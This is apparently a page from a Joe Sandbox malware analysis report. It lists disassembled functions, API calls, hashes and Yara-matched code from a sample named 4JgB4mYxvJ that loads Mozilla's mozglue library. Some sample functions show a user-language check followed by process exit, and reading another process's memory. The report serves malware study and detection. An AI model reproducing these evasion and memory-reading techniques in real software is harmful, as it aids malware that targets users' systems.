Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d7d47a5309a370d777e629bff5eb15b9c5866b296c1f9db2b3f7f9008260db7a
Instruction ID: e0ff29f94ca5a4cdc9cba8a85aca27d710793601b50b817f928dafc1d35f36f0
Opcode Fuzzy Hash: d7d47a5309a370d777e629bff5eb15b9c5866b296c1f9db2b3f7f9008260db7a
Instruction Fuzzy Hash: 9531F861E0478897EB019B78DC455FFB77CEF96208F055228EE4967A12FB74A5C8C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCB3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6CCB3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCB3FDC
RtlAllocateHeap.NTDLL ref: 6CCB4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCB40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCB3CCC), ref: 6CCB40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCB3CCC), ref: 6CCB40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCB4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCB3CCC), ref: 6CCB4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCB3CCC), ref: 6CCB4157

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 4e88d37b214f97d2f138b4125d82ae9df0fdfea584fb95e8e75bb9337e3ac37d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 54A1A3B1A44215CFDB40CFA9C880659B7F5FF48314F2941AAD909AF752E771E886CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCF8273), ref: 6CCF9D65
free.MOZGLUE(6CCF8273,?), ref: 6CCF9D7C
free.MOZGLUE(?,?), ref: 6CCF9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCF9E0F
free.MOZGLUE(6CCF946B,?,?), ref: 6CCF9E24
free.MOZGLUE(?,?,?), ref: 6CCF9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCF9EC8
free.MOZGLUE(6CCF946B,?,?,?), ref: 6CCF9EDF
free.MOZGLUE(?,?,?,?), ref: 6CCF9EF5

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7833049a71b411ad0d55b2d8d6692d6ef24e20ae988f35a0eb4f5eb0b5f2ca50
Instruction ID: 7cfa4d09ad0b8d2c4ffbfec572d41a3ff9e52ed1abaabd7e7045659950740d69
Opcode Fuzzy Hash: 7833049a71b411ad0d55b2d8d6692d6ef24e20ae988f35a0eb4f5eb0b5f2ca50
Instruction Fuzzy Hash: CB71AFB0A09B418BDB52CF18C48059BF3F4FF99315B54865DE85A5BB01FB31E886CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CCFDDCF

Part of subcall function 6CCDFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCDFA4B

Part of subcall function 6CCF90E0: free.MOZGLUE(?,00000000,?,?,6CCFDEDB), ref: 6CCF90FF
Part of subcall function 6CCF90E0: free.MOZGLUE(?,00000000,?,?,6CCFDEDB), ref: 6CCF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCFDE0D
free.MOZGLUE(00000000), ref: 6CCFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CCEDEFD,?,6CCB4A68), ref: 6CCFDF32

Part of subcall function 6CCFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCFDB86
Part of subcall function 6CCFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CCEDEFD,?,6CCB4A68), ref: 6CCFDF65
free.MOZGLUE(?), ref: 6CCFDF80

Part of subcall function 6CCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CCC5EDB
Part of subcall function 6CCC5E90: memset.VCRUNTIME140(6CD07765,000000E5,55CCCCCC), ref: 6CCC5F27
Part of subcall function 6CCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CCC5FB2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: d27be9c892d29a2cd78e3622a625efafc46af2fae8deda858b0bae0c39f330c3
Instruction ID: 7041444e98947a52a42e3bf9b71e3ec65e4694ef7e7e12c14210ebf800d0f72f
Opcode Fuzzy Hash: d27be9c892d29a2cd78e3622a625efafc46af2fae8deda858b0bae0c39f330c3
Instruction Fuzzy Hash: 4351B4727016119BE7519F28C8806EEB376BF95308F96051CD92A53B00FB31F95BCB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05DC9
std::_Facet_Register.LIBCPMT ref: 6CD05DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CD05C8C,?,6CCDE829), ref: 6CD05E45

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 31ec85a65dd029172237b31c75061224f42f87717ab49759246b02d1cc63a023
Instruction ID: dd92004946e93e327d2c1813e11cfdd95f7f6b3bbdf2a1ff46ddbc7cc56044a2
Opcode Fuzzy Hash: 31ec85a65dd029172237b31c75061224f42f87717ab49759246b02d1cc63a023
Instruction Fuzzy Hash: 41419134700205DFDB10DF69C898AAE77B9EF89314F044069EA0A977A1EB74E805CF65

Uniqueness

Uniqueness Score: -1.00%

Function 6CCDCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CCA31A7), ref: 6CCDCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCDCFA4, 6CCDCFB8
<jemalloc>, xrefs: 6CCDCF9F, 6CCDCFB3

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 7b5b13f972a535d40fb3de59ca9e61ffbb66f1077eaa6dade8d9b40130efa877
Instruction ID: 961a49c4e2729aa1cac868261290cf2b5da7dacac7b2cadd035a6435f4d55003
Opcode Fuzzy Hash: 7b5b13f972a535d40fb3de59ca9e61ffbb66f1077eaa6dade8d9b40130efa877
Instruction Fuzzy Hash: 36318470B412066BFB10AFA58C45BAE7BB9BB41758F214019F711ABAC0EBB5E501CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCAF100: LoadLibraryW.KERNEL32(shell32,?,6CD1D020), ref: 6CCAF122
Part of subcall function 6CCAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CCAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CCAEDCC
CreateFileW.KERNEL32 ref: 6CCAEE08
free.MOZGLUE(00000000), ref: 6CCAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CCAEE32

Part of subcall function 6CCAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CCAEBB5
Part of subcall function 6CCAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CCDD7F3), ref: 6CCAEBC3
Part of subcall function 6CCAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CCDD7F3), ref: 6CCAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CCAEDC1

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 069be90f129dd8bcc4e9ff889aa482d31b78ca9565ebeaef8a484ec29694718c
Instruction ID: 80a1f53b01c2f53125e89fe990deacc0e38863001b4aff64c31616710023c87e
Opcode Fuzzy Hash: 069be90f129dd8bcc4e9ff889aa482d31b78ca9565ebeaef8a484ec29694718c
Instruction Fuzzy Hash: D651E371D052168BDB00DFA8C8487EEB7B1AF59318F04842DD85567B40F734695AC7E2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD1A565

Part of subcall function 6CD1A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD1A4BE
Part of subcall function 6CD1A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD1A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD1A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD1A6B6

Strings

z, xrefs: 6CD1A6AE
0, xrefs: 6CD1A5FB

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 30ad840ecec9125324ad951d0d3c6259b356423d8ccf86bdc45565d3d6b23091
Instruction ID: 36879c81a5829d831e50ba1ebe87226f78d1ddba9f9b816ce576deafde14285f
Opcode Fuzzy Hash: 30ad840ecec9125324ad951d0d3c6259b356423d8ccf86bdc45565d3d6b23091
Instruction Fuzzy Hash: DC41497190C7459FC341DF28D480A8BBBE4BF89354F409A2EF49987650EB30E54DCB92

Uniqueness

Uniqueness Score: -1.00%

Function 00418843 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041884F

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__amsg_exit.LIBCMT ref: 0041886F
__lock.LIBCMT ref: 0041887F
InterlockedDecrement.KERNEL32(?), ref: 0041889C
_free.LIBCMT ref: 004188AF
InterlockedIncrement.KERNEL32(00423530), ref: 004188C7

Strings

05B, xrefs: 004188B5, 004188BD

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: 05B
API String ID: 3470314060-3788103304
Opcode ID: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction ID: f16d68fd9582ac4125616c5e50f94de62243aa4c7be40d45a23fde697d24a6fa
Opcode Fuzzy Hash: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction Fuzzy Hash: 4501AD32A05621ABD720BF6A98057CA7770AF04725F90402FF810A3390CB7CA9C2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CCDAB89: EnterCriticalSection.KERNEL32(6CD2E370,?,?,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284), ref: 6CCDAB94
Part of subcall function 6CCDAB89: LeaveCriticalSection.KERNEL32(6CD2E370,?,6CCA34DE,6CD2F6CC,?,?,?,?,?,?,?,6CCA3284,?,?,6CCC56F6), ref: 6CCDABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCB4A68), ref: 6CCE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CCE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CCE9482
__Init_thread_footer.LIBCMT ref: 6CCE949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CCE946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CCE947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CCE9459

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 901bba64c3a76610f8ed97dd11f696e26fa525201416485664a848005e1f2f29
Instruction ID: 79a2d2e5b27f5715a97882ec50a1cd6c7c5135463bf59ac60953b577042169d9
Opcode Fuzzy Hash: 901bba64c3a76610f8ed97dd11f696e26fa525201416485664a848005e1f2f29
Instruction Fuzzy Hash: 77012830A0010187F7009BACD900A8933BCAB8B32DF04493AEF0687F51F679E85A895B

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434
ExitProcess.KERNEL32 ref: 00413465
ExitProcess.KERNEL32 ref: 0041346F
ExitProcess.KERNEL32 ref: 00413479
ExitProcess.KERNEL32 ref: 00413483
ExitProcess.KERNEL32 ref: 0041348D

Strings

*, xrefs: 0041344C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction ID: 75b540bad49881e9417c8f8c63d74940121d586cf5f959f7794e893d96f52075
Opcode Fuzzy Hash: b54c11c67429caad35af0389be56d96782f86342cf804ea28b4a9cbeb8073ebc
Instruction Fuzzy Hash: 4BF05830508608EFE364EFE0EF0976CBBB1EB8E703F001195E60A86290CA744A119B65

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CD1B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CD1B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CD1B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CD1B5F4
__Init_thread_footer.LIBCMT ref: 6CD1B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CD1B61F
std::_Facet_Register.LIBCPMT ref: 6CD1B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD1B655

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 350bbe2a720e693e832dacb74733d8c1543d71e49ed599ab680b9a4b06b26623
Instruction ID: bc5c6837bcb82b0e01d56b3c68e261ceb2594060771cb6d5eebcb281e7ff58b9
Opcode Fuzzy Hash: 350bbe2a720e693e832dacb74733d8c1543d71e49ed599ab680b9a4b06b26623
Instruction Fuzzy Hash: 2631D771B00114DBEB00DF69C8549EEB7B9FF86325B150819D70297B90DB38A806CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00413BC0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00413BDF
??_U@YAPAXI@Z.MSVCRT ref: 00413C0D

Part of subcall function 00413890: strlen.MSVCRT ref: 004138A1
Part of subcall function 00413890: strlen.MSVCRT ref: 004138C5

VirtualQueryEx.KERNEL32(00413FCD,00000000,?,0000001C), ref: 00413C52
??_V@YAXPAX@Z.MSVCRT ref: 00413D73

Part of subcall function 00413AA0: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00413AB8

Strings

Z>A, xrefs: 00413C38, 00413C3B
@, xrefs: 00413C66

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @$Z>A
API String ID: 2950663791-2427737632
Opcode ID: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction ID: 18b3d1c53e1ab9283c7d4f20bb5e0d2682d9205760932c7229ac25ba092b9e39
Opcode Fuzzy Hash: c34cf874e28939f0e2f9d61df82db9ff8d9d9859511bff8662e41e87a2571aa0
Instruction Fuzzy Hash: 2851F9B5D00109ABDB04CF98E981AEFB7B5FF88305F108119F919A7340D738AA51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCF1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CCF1BE3,?,?,6CCF1D96,00000000), ref: 6CCF1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CCF1BE3,?,?,6CCF1D96,00000000), ref: 6CCF1D4C
GetCurrentThreadId.KERNEL32 ref: 6CCF1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CCF1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCF1DDA

Part of subcall function 6CCF1EF0: GetCurrentThreadId.KERNEL32 ref: 6CCF1F03
Part of subcall function 6CCF1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CCF1DF2,00000000,00000000), ref: 6CCF1F0C
Part of subcall function 6CCF1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CCF1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CCF1DF4

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

Memory Dump Source

